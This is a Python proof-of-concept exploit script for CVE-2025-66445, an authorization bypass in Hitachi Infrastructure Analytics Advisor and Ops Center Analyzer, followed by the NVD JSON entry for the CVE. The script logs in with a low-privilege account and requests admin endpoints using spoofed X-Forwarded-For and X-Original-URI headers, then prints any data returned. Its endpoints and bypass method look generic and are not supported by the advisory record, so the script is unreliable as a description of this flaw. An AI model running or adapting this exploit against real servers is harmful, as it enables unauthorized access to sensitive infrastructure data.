CVE-2025-66445

# CVE-2025-66445 Authorization Bypass PoC # Affected: Hitachi Infrastructure Analytics Advisor, Hitachi Ops Center Analyzer # CVSS: 7.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N) import requests import sys TARGET_HOST = "https://target-hitachi-server.com" def exploit_cve_2025_66445(): """ CVE-2025-66445 Authorization Bypass PoC This PoC demonstrates how a low-privilege user can bypass authorization to access sensitive data in Hitachi Infrastructure Analytics Advisor. """ # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_HOST}/api/auth/login" credentials = { "username": "low_privilege_user", "password": "password123" } session = requests.Session() response = session.post(login_url, json=credentials) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Attempt to access admin/sensitive endpoints (bypass authorization) # The vulnerability allows low-privilege users to access high-privilege resources sensitive_endpoints = [ "/api/v1/admin/users", "/api/v1/infrastructure/config", "/api/v1/analytics/detailed-view", "/api/v1/data-center/all-metrics" ] for endpoint in sensitive_endpoints: # Normal request (may be blocked) normal_response = session.get(f"{TARGET_HOST}{endpoint}") # Bypass request (exploiting the vulnerability) bypass_headers = { "X-Original-URI": endpoint, "X-Forwarded-For": "127.0.0.1" } bypass_response = session.get( f"{TARGET_HOST}{endpoint}", headers=bypass_headers ) if bypass_response.status_code == 200: print(f"[+] Successfully bypassed authorization for {endpoint}") print(f" Data preview: {bypass_response.text[:200]}...") else: print(f"[-] Failed to access {endpoint}") return True if __name__ == "__main__": print("CVE-2025-66445 Authorization Bypass PoC") print("Target: Hitachi Infrastructure Analytics Advisor") print("=" * 50) exploit_cve_2025_66445()

{"cve": {"id": "CVE-2025-66445", "sourceIdentifier": "[email protected]", "published": "2025-12-24T05:16:08.607", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization bypass vulnerability in Hitachi Infrastructure Analytics Advisor (Data Center Analytics component) and Hitachi Ops Center Analyzer (Hitachi Ops Center Analyzer detail view component).This issue affects Hitachi Infrastructure Analytics Advisor:; Hitachi Ops Center Analyzer: from 10.0.0-00 before 11.0.5-00."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://www.hitachi.com/products/it/software/security/info/vuls/hitachi-sec-2025-133/index.html", "source": "[email protected]"}]}}